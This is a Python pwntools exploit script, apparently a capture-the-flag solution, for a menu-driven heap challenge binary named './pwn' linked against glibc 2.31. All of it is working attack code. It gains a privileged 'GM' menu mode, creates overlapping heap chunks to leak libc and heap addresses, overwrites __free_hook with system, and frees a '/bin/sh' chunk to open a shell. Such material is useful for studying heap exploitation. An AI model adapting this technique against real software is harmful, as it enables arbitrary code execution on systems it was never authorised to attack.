1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
| from pwn import *
r=process('./pwn')
elf = ELF('./pwn')
libc = ELF("/home/dreamcat/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so")
def getGM():
r.sendlineafter("Choice:","1")
r.sendlineafter("Menu","2")
r.sendlineafter("GM",'1')
r.sendlineafter("Menu","2")
r.sendlineafter("GM",'2')
r.sendlineafter("Menu","2")
r.sendlineafter("GM",'1')
r.sendlineafter("Menu","2")
r.sendlineafter("GM",'4')
r.recvuntil("Welcome")
print("get the GM permission!!!")
r.sendlineafter("Menu","1")
r.sendlineafter("Menu","1")
r.sendlineafter("Menu","1")
r.sendlineafter("Menu","4")
def selectuser(idx):
r.sendlineafter("Choice:","2")
r.sendlineafter("User?",str(idx))
def manage():
r.sendlineafter("Choice:","3")
def back():
r.sendlineafter("Choice:","4")
def add(idx,size,text):
r.sendlineafter("Choice:","1")
r.sendlineafter("Id",str(idx))
if size>=1000:
r.sendafter("Size",str(size))
else:
r.sendlineafter("Size",str(size))
r.sendafter("Data",text)
def edit(idx,text):
r.sendlineafter("Choice:","2")
r.sendlineafter("Change",str(idx))
r.sendafter("Log",text)
def free(idx):
r.sendlineafter("Choice:","3")
r.sendlineafter("lete",str(idx))
def show(idx):
back()
selectuser(idx)
r.sendlineafter("Choice:","1")
r.sendlineafter("Menu","3")
r.recvuntil("Log:\nXXXXXXXX")
addr = u64(r.recv(6).ljust(8,b'\x00'))
r.sendlineafter("Menu","4")
manage()
return addr
getGM()
manage()
add(1,0x410,b'a'*8)
add(2,0x420,b'b'*8)
add(3,0x4f0,b'c'*8)
add(4,0x20,b'd'*8)
free(1)
free(3)
add(5,0x410,b'd'*7)
add(6,0x4f0,b'e'*7)
edit(5,b'X'*8)
edit(6,b'X'*8)
libc = show(6)-0x1ecbe0
heap = show(5)
malloc_hook=libc +0x1ecb70
free_hook =libc + 0x1eee48
system = libc + 0x0522c0
onegadget = 0xcafebabedeadbeef
print("libc : ",hex(libc))
print("heap : ",hex(heap))
free(2)
add(2,0x3f0,b'a'*8)
add(1,0x28,b'a'*0x20)
edit(1,b'a'*0x20+p64(0x420))
gdb.attach(r)
edit(2,p64(0)+p64(0x421)+p64(heap-0x420)*2)
free(6)
add(6,0x3e0,b'a'*8)
add(7,0x28,b'x'*8)
free(4)
free(1)
edit(7,p64(free_hook))
add(1,0x20,b'/bin/sh\x00\x00')
add(4,0x20,p64(system))
free(1)
r.interactive()
|
